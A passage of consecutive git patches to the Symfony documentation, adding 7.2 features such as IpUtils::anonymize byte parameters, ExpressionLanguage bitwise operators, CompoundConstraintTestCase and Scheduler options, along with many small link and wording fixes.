@@ -39,7 +40,7 @@ Sendgrid       ``mailer.webhook.request_parser.sendgrid``
 
 .. versionadded:: 7.2
 
-    The ``Mailomat`` integration was introduced in Symfony 7.2.
+    The ``Mailomat`` and ``Sweego`` integrations were introduced in Symfony 7.2.
 
 .. note::
 

From 24076368c63d871ce07dd0b607fa539d6d79f6ea Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Tue, 20 Aug 2024 18:48:30 -0300
Subject: [PATCH 4945/5766] Fix `:ref:` links

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 7e26cb9b4da..4cfa6778279 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -747,7 +747,7 @@ If you use the Redis Transport, note that each worker needs a unique consumer
 name to avoid the same message being handled by multiple workers. One way to
 achieve this is to set an environment variable in the Supervisor configuration
 file, which you can then refer to in ``messenger.yaml``
-(see the ref:`Redis section <messenger-redis-transport>` below):
+(see the :ref:`Redis section <messenger-redis-transport>` below):
 
 .. code-block:: ini
 

From 309141a964efebc66a6cf3de939cf89e19ea3ad8 Mon Sep 17 00:00:00 2001
From: Vincent Chareunphol <vincent@devoji.com>
Date: Wed, 21 Aug 2024 15:30:49 +0200
Subject: [PATCH 4946/5766] [Config] Match Yaml configuration and Tree

---
 components/config/definition.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 437c93322d6..c076838d1f9 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -81,7 +81,7 @@ reflect the real structure of the configuration values::
                 ->defaultTrue()
             ->end()
             ->scalarNode('default_connection')
-                ->defaultValue('default')
+                ->defaultValue('mysql')
             ->end()
         ->end()
     ;

From 84da11cd0affbf26ba61eaaa02015f1b0c85854e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 20 Aug 2024 14:46:44 +0200
Subject: [PATCH 4947/5766] [HttpFoundation] Add new parameters to
 `IpUtils::anonymize()`

---
 components/http_foundation.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 6c9210b894f..2cdd5a02702 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -362,6 +362,23 @@ analysis purposes. Use the ``anonymize()`` method from the
     $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
+If you need even more anonymization, you can use the second and third parameters
+of the ``anonymize()`` method to specify the number of bytes that should be
+anonymized depending on the IP address format::
+
+    $ipv4 = '123.234.235.236';
+    $anonymousIpv4 = IpUtils::anonymize($ipv4, v4Bytes: 3);
+    // $anonymousIpv4 = '123.0.0.0'
+
+    $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
+    $anonymousIpv6 = IpUtils::anonymize($ipv6, v6Bytes: 10);
+    // $anonymousIpv6 = '2a01:198:603::'
+
+.. versionadded:: 7.2
+
+    The ``v4Bytes`` and ``v6Bytes`` parameters of the ``anonymize()`` method
+    were introduced in Symfony 7.2.
+
 Check If an IP Belongs to a CIDR Subnet
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3ee2daea7a4852f49c52d12812b233ae5a65f014 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 22 Aug 2024 09:19:19 +0200
Subject: [PATCH 4948/5766] fix ref syntax

---
 components/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 46795b18b66..eeababaf373 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -82,7 +82,7 @@ Null Coalescing Operator
 
 .. note::
 
-    This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>`_
+    This content has been moved to the :ref:`null coalescing operator <component-expression-null-coalescing-operator>`
     section of ExpressionLanguage syntax reference page.
 
 Parsing and Linting Expressions

From d00645a6062158478477d9df5324d90bae3b6502 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 22 Aug 2024 09:45:19 +0200
Subject: [PATCH 4949/5766] [Form] Add support for the `calendar` option in
 `DateType`

---
 reference/forms/types/date.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 515c12099a1..f9c6d67a70d 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -155,6 +155,19 @@ values for the year, month and day fields::
 
 .. include:: /reference/forms/types/options/view_timezone.rst.inc
 
+``calendar``
+~~~~~~~~~~~~
+
+**type**: ``\IntlCalendar`` **default**: ``null``
+
+The calendar to use for formatting and parsing the date. The value should be
+an instance of the :phpclass:`IntlCalendar` to use. By default, the Gregorian
+calendar with the application default locale is used.
+
+.. versionadded:: 7.2
+
+    The ``calendar`` option was introduced in Symfony 7.2.
+
 .. include:: /reference/forms/types/options/date_widget.rst.inc
 
 .. include:: /reference/forms/types/options/years.rst.inc

From 301087b90eb6c04d7cc8a19d1f07a6bb28ac6f1f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 22 Aug 2024 13:39:17 +0200
Subject: [PATCH 4950/5766] complete list of support content types

---
 reference/configuration/security.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 771054d9d12..cf1f16b3c21 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -350,10 +350,10 @@ form_only
 **type**: ``boolean`` **default**: ``false``
 
 Set this option to ``true`` to require that the login data is sent using a form
-(it checks that the request content-type is ``application/x-www-form-urlencoded``).
-This is useful for example to prevent the :ref:`form login authenticator <security-form-login>`
-from responding to requests that should be handled by the
-:ref:`JSON login authenticator <security-json-login>`.
+(it checks that the request content-type is ``application/x-www-form-urlencoded``
+or ``multipart/form-data``) This is useful for example to prevent the.
+:ref:`form login authenticator <security-form-login>` from responding to
+requests that should be handled by the :ref:`JSON login authenticator <security-json-login>`.
 
 .. versionadded:: 5.4
 

From acaba63ebe173a6fd689caa5603e5b3098a5375c Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Thu, 22 Aug 2024 19:45:49 +0200
Subject: [PATCH 4951/5766] [Serializer] Correction of examples using the
 attributes groups

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index bbf31afacf8..03822eb4a68 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -404,7 +404,7 @@ You are now able to serialize only attributes in the groups you want::
 
     $obj2 = $serializer->denormalize(
         ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        'MyObj',
+        MyObj::class,
         null,
         ['groups' => ['group1', 'group3']]
     );
@@ -413,7 +413,7 @@ You are now able to serialize only attributes in the groups you want::
     // To get all groups, use the special value `*` in `groups`
     $obj3 = $serializer->denormalize(
         ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'],
-        'MyObj',
+        MyObj::class,
         null,
         ['groups' => ['*']]
     );

From 429e193a40e93a3e521479aa1cc404c0b84c9df1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 23 Aug 2024 09:30:27 +0200
Subject: [PATCH 4952/5766] [ExpressionLanguage] Add support for `<<`, `>>`,
 and `~` bitwise operators

---
 reference/formats/expression_language.rst | 72 +++++++++++++----------
 1 file changed, 40 insertions(+), 32 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index e88ac7f6c24..ec592461a4f 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -284,6 +284,14 @@ Bitwise Operators
 * ``&`` (and)
 * ``|`` (or)
 * ``^`` (xor)
+* ``~`` (not)
+* ``<<`` (left shift)
+* ``>>`` (right shift)
+
+.. versionadded:: 7.2
+
+    Support for the ``~``, ``<<`` and ``>>`` bitwise operators was introduced
+    in Symfony 7.2.
 
 Comparison Operators
 ~~~~~~~~~~~~~~~~~~~~
@@ -449,38 +457,38 @@ parentheses in your expressions (e.g. ``(1 + 2) * 4`` or ``1 + (2 * 4)``.
 The following table summarizes the operators and their associativity from the
 **highest to the lowest precedence**:
 
-+----------------------------------------------------------+---------------+
-| Operators                                                | Associativity |
-+==========================================================+===============+
-| ``-`` , ``+`` (unary operators that add the number sign) | none          |
-+----------------------------------------------------------+---------------+
-| ``**``                                                   | right         |
-+----------------------------------------------------------+---------------+
-| ``*``, ``/``, ``%``                                      | left          |
-+----------------------------------------------------------+---------------+
-| ``not``, ``!``                                           | none          |
-+----------------------------------------------------------+---------------+
-| ``~``                                                    | left          |
-+----------------------------------------------------------+---------------+
-| ``+``, ``-``                                             | left          |
-+----------------------------------------------------------+---------------+
-| ``..``                                                   | left          |
-+----------------------------------------------------------+---------------+
-| ``==``, ``===``, ``!=``, ``!==``,                        | left          |
-| ``<``, ``>``, ``>=``, ``<=``,                            |               |
-| ``not in``, ``in``, ``contains``,                        |               |
-| ``starts with``, ``ends with``, ``matches``              |               |
-+----------------------------------------------------------+---------------+
-| ``&``                                                    | left          |
-+----------------------------------------------------------+---------------+
-| ``^``                                                    | left          |
-+----------------------------------------------------------+---------------+
-| ``|``                                                    | left          |
-+----------------------------------------------------------+---------------+
-| ``and``, ``&&``                                          | left          |
-+----------------------------------------------------------+---------------+
-| ``or``, ``||``                                           | left          |
-+----------------------------------------------------------+---------------+
++-----------------------------------------------------------------+---------------+
+| Operators                                                       | Associativity |
++=================================================================+===============+
+| ``-`` , ``+``, ``~`` (unary operators that add the number sign) | none          |
++-----------------------------------------------------------------+---------------+
+| ``**``                                                          | right         |
++-----------------------------------------------------------------+---------------+
+| ``*``, ``/``, ``%``                                             | left          |
++-----------------------------------------------------------------+---------------+
+| ``not``, ``!``                                                  | none          |
++-----------------------------------------------------------------+---------------+
+| ``~``                                                           | left          |
++-----------------------------------------------------------------+---------------+
+| ``+``, ``-``                                                    | left          |
++-----------------------------------------------------------------+---------------+
+| ``..``, ``<<``, ``>>``                                          | left          |
++-----------------------------------------------------------------+---------------+
+| ``==``, ``===``, ``!=``, ``!==``,                               | left          |
+| ``<``, ``>``, ``>=``, ``<=``,                                   |               |
+| ``not in``, ``in``, ``contains``,                               |               |
+| ``starts with``, ``ends with``, ``matches``                     |               |
++-----------------------------------------------------------------+---------------+
+| ``&``                                                           | left          |
++-----------------------------------------------------------------+---------------+
+| ``^``                                                           | left          |
++-----------------------------------------------------------------+---------------+
+| ``|``                                                           | left          |
++-----------------------------------------------------------------+---------------+
+| ``and``, ``&&``                                                 | left          |
++-----------------------------------------------------------------+---------------+
+| ``or``, ``||``                                                  | left          |
++-----------------------------------------------------------------+---------------+
 
 Built-in Objects and Variables
 ------------------------------

From 5203772b4e048560165a06428b8b5062cfe2a66d Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 22 Aug 2024 07:54:34 +0200
Subject: [PATCH 4953/5766] [Translation] Add labels for links in translations
 page

---
 translation.rst | 31 ++++++++++++++++---------------
 1 file changed, 16 insertions(+), 15 deletions(-)

diff --git a/translation.rst b/translation.rst
index 1d43c3b2b1c..15c34460d86 100644
--- a/translation.rst
+++ b/translation.rst
@@ -33,8 +33,8 @@ The translation process has several steps:
 #. :ref:`Enable and configure <translation-configuration>` Symfony's
    translation service;
 
-#. Abstract strings (i.e. "messages") by wrapping them in calls to the
-   ``Translator`` (":ref:`translation-basic`");
+#. Abstract strings (i.e. "messages") by :ref:`wrapping them in calls
+   <translation-basic>` to the ``Translator``;
 
 #. :ref:`Create translation resources/files <translation-resources>`
    for each supported locale that translate each message in the application;
@@ -164,8 +164,8 @@ different formats:
             'Symfony is great' => "J'aime Symfony",
         ];
 
-For information on where these files should be located, see
-:ref:`translation-resource-locations`.
+You can find more information on where these files
+:ref:`should be located <translation-resource-locations>`.
 
 Now, if the language of the user's locale is French (e.g. ``fr_FR`` or ``fr_BE``),
 the message will be translated into ``J'aime Symfony``. You can also translate
@@ -251,8 +251,8 @@ To actually translate the message, Symfony uses the following process when
 using the ``trans()`` method:
 
 #. The ``locale`` of the current user, which is stored on the request is
-   determined; this is typically set via a ``_locale`` attribute on your routes
-   (see :ref:`translation-locale-url`);
+   determined; this is typically set via a ``_locale`` :ref:`attribute on
+   your routes <translation-locale-url>`;
 
 #. A catalog of translated messages is loaded from translation resources
    defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
@@ -452,8 +452,8 @@ The ``translation:extract`` command looks for missing translations in:
 * Any PHP file/class that injects or :doc:`autowires </service_container/autowiring>`
   the ``translator`` service and makes calls to the ``trans()`` method.
 * Any PHP file/class stored in the ``src/`` directory that creates
-  :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
-  the ``trans()`` method.
+  :ref:`translatable objects <translatable-objects>` using the constructor or
+  the ``t()`` method or calls the ``trans()`` method.
 
 .. versionadded:: 5.3
 
@@ -1054,10 +1054,10 @@ unused translation messages templates:
 .. caution::
 
     The extractors can't find messages translated outside templates (like form
-    labels or controllers) unless using :ref:`translatable-objects` or calling
-    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
-    translations using variables or expressions in templates are not
-    detected either:
+    labels or controllers) unless using :ref:`translatable objects
+    <translatable-objects>` or calling the ``trans()`` method on a translator
+    (since Symfony 5.3). Dynamic translations using variables or expressions in
+    templates are not detected either:
 
     .. code-block:: twig
 
@@ -1066,9 +1066,10 @@ unused translation messages templates:
         {{ message|trans }}
 
 Suppose your application's default_locale is ``fr`` and you have configured
-``en`` as the fallback locale (see :ref:`translation-configuration` and
-:ref:`translation-fallback` for how to configure these). And suppose
-you've already setup some translations for the ``fr`` locale:
+``en`` as the fallback locale (see :ref:`configuration
+<translation-configuration>` and :ref:`fallback <translation-fallback>` for
+how to configure these). And suppose you've already set up some translations
+for the ``fr`` locale:
 
 .. configuration-block::
 

From cba78d5114c8f0827908cea675f399ae863f5d9a Mon Sep 17 00:00:00 2001
From: eltharin <eltharin18@hotmail.fr>
Date: Thu, 22 Aug 2024 11:41:58 +0200
Subject: [PATCH 4954/5766] just nullable

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 0e8af7814f3..43ed69f3307 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1500,7 +1500,7 @@ having unique identifiers::
 
     $encoder = new JsonEncoder();
     $defaultContext = [
-        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, string $format, array $context): string {
+        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string {
             return $object->getName();
         },
     ];

From fae9a57bfacff5a4aeb0ec105d605c63180bd8d8 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Fri, 23 Aug 2024 12:06:09 -0400
Subject: [PATCH 4955/5766] adding missing 'private'

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 7e1b9a47381..1928dd29035 100644
--- a/security.rst
+++ b/security.rst
@@ -2620,7 +2620,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
       class SalesReportManager
       {
     +     public function __construct(
-    +         Security $security,
+    +         private Security $security,
     +     ) {
     +     }
 

From 3362875c29f4d30d462ed338438e284c044e9e17 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 09:05:45 +0200
Subject: [PATCH 4956/5766] Minor reword

---
 controller.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index 3194b6e46e4..d4f7f99d43d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -178,8 +178,8 @@ These are used for rendering templates, sending emails, querying the database an
 any other "work" you can think of.
 
 If you need a service in a controller, type-hint an argument with its class
-(or interface) name. Symfony will automatically pass you the service you need.
-Make sure your :doc:`controller is registered as a service </controller/service>`::
+(or interface) name and Symfony will inject it automatically. This requires
+your :doc:`controller to be registered as a service </controller/service>`::
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\HttpFoundation\Response;

From d883d5659dab11da2ad39be9a380551f74682e38 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Fri, 23 Aug 2024 00:39:01 +0200
Subject: [PATCH 4957/5766] [Templating] [Template] Render a block with the
 `#[Template]` attribute

---
 templates.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/templates.rst b/templates.rst
index 795ac3a7ac3..1af3de56c5b 100644
--- a/templates.rst
+++ b/templates.rst
@@ -632,6 +632,31 @@ This might come handy when dealing with blocks in
 :ref:`templates inheritance <template_inheritance-layouts>` or when using
 `Turbo Streams`_.
 
+Similarly, you can use the ``#[Template]`` attribute on the controller to specify a block
+to render::
+
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use Symfony\Bridge\Twig\Attribute\Template;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+
+    class ProductController extends AbstractController
+    {
+        #[Template('product.html.twig', block: 'price_block')]
+        public function price(): array
+        {
+            return [
+                // ...
+            ];
+        }
+    }
+
+.. versionadded:: 7.2
+
+    The ``#[Template]`` attribute's ``block`` argument was introduced in Symfony 7.2.
+
 Rendering a Template in Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From d158b5544cb173ea520724e56df2a1ba1c8c84c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 09:19:25 +0200
Subject: [PATCH 4958/5766] Minor tweak

---
 templates.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/templates.rst b/templates.rst
index 1af3de56c5b..2379a3568dc 100644
--- a/templates.rst
+++ b/templates.rst
@@ -632,8 +632,8 @@ This might come handy when dealing with blocks in
 :ref:`templates inheritance <template_inheritance-layouts>` or when using
 `Turbo Streams`_.
 
-Similarly, you can use the ``#[Template]`` attribute on the controller to specify a block
-to render::
+Similarly, you can use the ``#[Template]`` attribute on the controller to specify
+a block to render::
 
     // src/Controller/ProductController.php
     namespace App\Controller;

From d0f46a2ec6a29366c1745a29700ce0c18b12b47a Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 26 Aug 2024 09:32:13 +0200
Subject: [PATCH 4959/5766] add missing use statement

---
 components/serializer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 03822eb4a68..43bcc240e57 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -388,6 +388,7 @@ Then, create your groups definition:
 
 You are now able to serialize only attributes in the groups you want::
 
+    use Acme\MyObj;
     use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
     use Symfony\Component\Serializer\Serializer;
 

From bec9e5faa881623aa75a03a78212315f44799a43 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 22 Aug 2024 14:16:06 +0200
Subject: [PATCH 4960/5766] [Validator] Add `CompoundConstraintTestCase` to
 ease testing Compound Constraints

---
 validation/custom_constraint.rst | 74 ++++++++++++++++++++++++++++++++
 1 file changed, 74 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 9f0ca4ca07b..4504ceb4012 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -502,6 +502,9 @@ A class constraint validator must be applied to the class itself:
 Testing Custom Constraints
 --------------------------
 
+Atomic Constraints
+~~~~~~~~~~~~~~~~~~
+
 Use the :class:`Symfony\\Component\\Validator\\Test\\ConstraintValidatorTestCase`
 class to simplify writing unit tests for your custom constraints::
 
@@ -545,3 +548,74 @@ class to simplify writing unit tests for your custom constraints::
             // ...
         }
     }
+
+Compound Constraints
+~~~~~~~~~~~~~~~~~~~~
+
+Let's say you create a compound constraint that checks if a string meets
+your minimum requirements for your password policy::
+
+    // src/Validator/PasswordRequirements.php
+    namespace App\Validator;
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    #[\Attribute]
+    class PasswordRequirements extends Assert\Compound
+    {
+        protected function getConstraints(array $options): array
+        {
+            return [
+                new Assert\NotBlank(allowNull: false),
+                new Assert\Length(min: 8, max: 255),
+                new Assert\NotCompromisedPassword(),
+                new Assert\Type('string'),
+                new Assert\Regex('/[A-Z]+/'),
+            ];
+        }
+    }
+
+You can use the :class:`Symfony\\Component\\Validator\\Test\\CompoundConstraintTestCase`
+class to check precisely which of the constraints failed to pass::
+
+    // tests/Validator/PasswordRequirementsTest.php
+    namespace App\Tests\Validator;
+
+    use App\Validator\PasswordRequirements;
+    use Symfony\Component\Validator\Constraints as Assert;
+    use Symfony\Component\Validator\Test\CompoundConstraintTestCase;
+
+    /**
+     * @extends CompoundConstraintTestCase<PasswordRequirements>
+     */
+    class PasswordRequirementsTest extends CompoundConstraintTestCase
+    {
+        public function createCompound(): Assert\Compound
+        {
+            return new PasswordRequirements();
+        }
+
+        public function testInvalidPassword(): void
+        {
+            $this->validateValue('azerty123');
+
+            // check all constraints pass except for the
+            // password leak and the uppercase letter checks
+            $this->assertViolationsRaisedByCompound([
+                new Assert\NotCompromisedPassword(),
+                new Assert\Regex('/[A-Z]+/'),
+            ]);
+        }
+
+        public function testValid(): void
+        {
+            $this->validateValue('VERYSTR0NGP4$$WORD#%!');
+
+            $this->assertNoViolation();
+        }
+    }
+
+.. versionadded:: 7.2
+
+    The :class:`Symfony\\Component\\Validator\\Test\\CompoundConstraintTestCase`
+    class was introduced in Symfony 7.2.

From 3f0fdbad1f95f056c576e2d34f1576c4fe27c720 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 10:21:56 +0200
Subject: [PATCH 4961/5766] Tweaks

---
 reference/constraints/Week.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/reference/constraints/Week.rst b/reference/constraints/Week.rst
index 0aea71bee02..26d82777636 100644
--- a/reference/constraints/Week.rst
+++ b/reference/constraints/Week.rst
@@ -5,10 +5,9 @@ Week
 
     The ``Week`` constraint was introduced in Symfony 7.2.
 
-Validates that a string (or an object implementing the ``Stringable`` PHP interface)
-matches a given week number. The week number format is defined by `ISO-8601`_
-and should be composed of the year and the week number, separated by a hyphen
-(e.g. ``2022-W01``).
+Validates that a given string (or an object implementing the ``Stringable`` PHP
+interface) represents a valid week number according to the `ISO-8601`_ standard
+(e.g. ``2025-W01``).
 
 ==========  =======================================================================
 Applies to  :ref:`property or method <validation-property-target>`
@@ -87,10 +86,11 @@ the following:
             }
         }
 
-.. note::
-
-    The constraint also checks that the given week exists in the calendar. For example,
-    ``2022-W53`` is not a valid week number for 2022, because 2022 only had 52 weeks.
+This constraint not only checks that the value matches the week number pattern,
+but it also verifies that the specified week actually exists in the calendar.
+According to the ISO-8601 standard, years can have either 52 or 53 weeks. For example,
+``2022-W53`` is not a valid because 2022 only had 52 weeks; but ``2020-W53`` is
+valid because 2020 had 53 weeks.
 
 Options
 -------
@@ -169,4 +169,4 @@ Parameter         Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-.. _ISO-8601: https://en.wikipedia.org/wiki/ISO_8601
+.. _`ISO-8601`: https://en.wikipedia.org/wiki/ISO_8601

From 728f2ed2775c257af97335f941eee4ddab835996 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 10:38:49 +0200
Subject: [PATCH 4962/5766] Minor fix

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index cf1f16b3c21..a859c2fd239 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -351,7 +351,7 @@ form_only
 
 Set this option to ``true`` to require that the login data is sent using a form
 (it checks that the request content-type is ``application/x-www-form-urlencoded``
-or ``multipart/form-data``) This is useful for example to prevent the.
+or ``multipart/form-data``). This is useful for example to prevent the
 :ref:`form login authenticator <security-form-login>` from responding to
 requests that should be handled by the :ref:`JSON login authenticator <security-json-login>`.
 

From 34d159469bd81267e3ae9cfe8d2b65993fd148f1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 10:57:07 +0200
Subject: [PATCH 4963/5766] Minor tweak

---
 validation/custom_constraint.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 4504ceb4012..435b976d1d3 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -552,8 +552,8 @@ class to simplify writing unit tests for your custom constraints::
 Compound Constraints
 ~~~~~~~~~~~~~~~~~~~~
 
-Let's say you create a compound constraint that checks if a string meets
-your minimum requirements for your password policy::
+Consider the following compound constraint that checks if a string meets
+the minimum requirements for your password policy::
 
     // src/Validator/PasswordRequirements.php
     namespace App\Validator;

From f0e8ad51198e766b7e69841afbb5628fc4becdbd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 12:03:22 +0200
Subject: [PATCH 4964/5766] Minor reformatting

---
 reference/formats/expression_language.rst | 6 +++---
 reference/formats/message_format.rst      | 3 ++-
 reference/formats/yaml.rst                | 4 ++--
 3 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 6d40683bfef..82c30d2ec49 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -1,9 +1,9 @@
 The Expression Syntax
 =====================
 
-The :doc:`ExpressionLanguage component </components/expression_language>` uses a specific syntax which is based on the
-expression syntax of Twig. In this document, you can find all supported
-syntaxes.
+The :doc:`ExpressionLanguage component </components/expression_language>` uses a
+specific syntax which is based on the expression syntax of Twig. In this document,
+you can find all supported syntaxes.
 
 Supported Literals
 ------------------
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index af888b90c40..2a694ed45d2 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -3,7 +3,8 @@ How to Translate Messages using the ICU MessageFormat
 
 Messages (i.e. strings) in applications are almost never completely static.
 They contain variables or other complex logic like pluralization. To
-handle this, the :doc:`Translator component </translation>` supports the `ICU MessageFormat`_ syntax.
+handle this, the :doc:`Translator component </translation>` supports the
+`ICU MessageFormat`_ syntax.
 
 .. tip::
 
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 9c6b165a0c4..cd55ab6dd9b 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -1,8 +1,8 @@
 The YAML Format
 ---------------
 
-The Symfony :doc:`Yaml Component </components/yaml>` implements a selected subset of features defined in
-the `YAML 1.2 version specification`_.
+The Symfony :doc:`Yaml Component </components/yaml>` implements a selected subset
+of features defined in the `YAML 1.2 version specification`_.
 
 Scalars
 ~~~~~~~

From 41f17860c70df6743740b8c5a0aff21606cee7ac Mon Sep 17 00:00:00 2001
From: eltharin <eltharin18@hotmail.fr>
Date: Thu, 15 Aug 2024 15:21:16 +0200
Subject: [PATCH 4965/5766] [Scheduler] Add capability to skip missed periodic
 tasks, only the last schedule will be called

---
 scheduler.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index c890b1a1aec..be4f2ca138d 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -889,6 +889,27 @@ This allows the system to retain the state of the schedule, ensuring that when a
         }
     }
 
+With ``stateful`` option, All missed messages will be handled, If you nedd handle your message only once you can use the ``processOnlyLastMissedRun`` option.::
+
+    // src/Scheduler/SaleTaskProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class SaleTaskProvider implements ScheduleProviderInterface
+    {
+        public function getSchedule(): Schedule
+        {
+            $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
+
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                )
+                ->stateful($this->cache)
+                ->processOnlyLastMissedRun(true)
+        }
+    }
+
 To scale your schedules more effectively, you can use multiple workers. In such
 cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the
 same task more than once::

From 0f91311c8572b58c69097b901c7d76cf03ac993a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Aug 2024 12:50:13 +0200
Subject: [PATCH 4966/5766] Minor tweaks

---
 scheduler.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index be4f2ca138d..081f4efd498 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -869,7 +869,8 @@ While this behavior may not necessarily pose a problem, there is a possibility t
 
 That's why the scheduler allows to remember the last execution date of a message
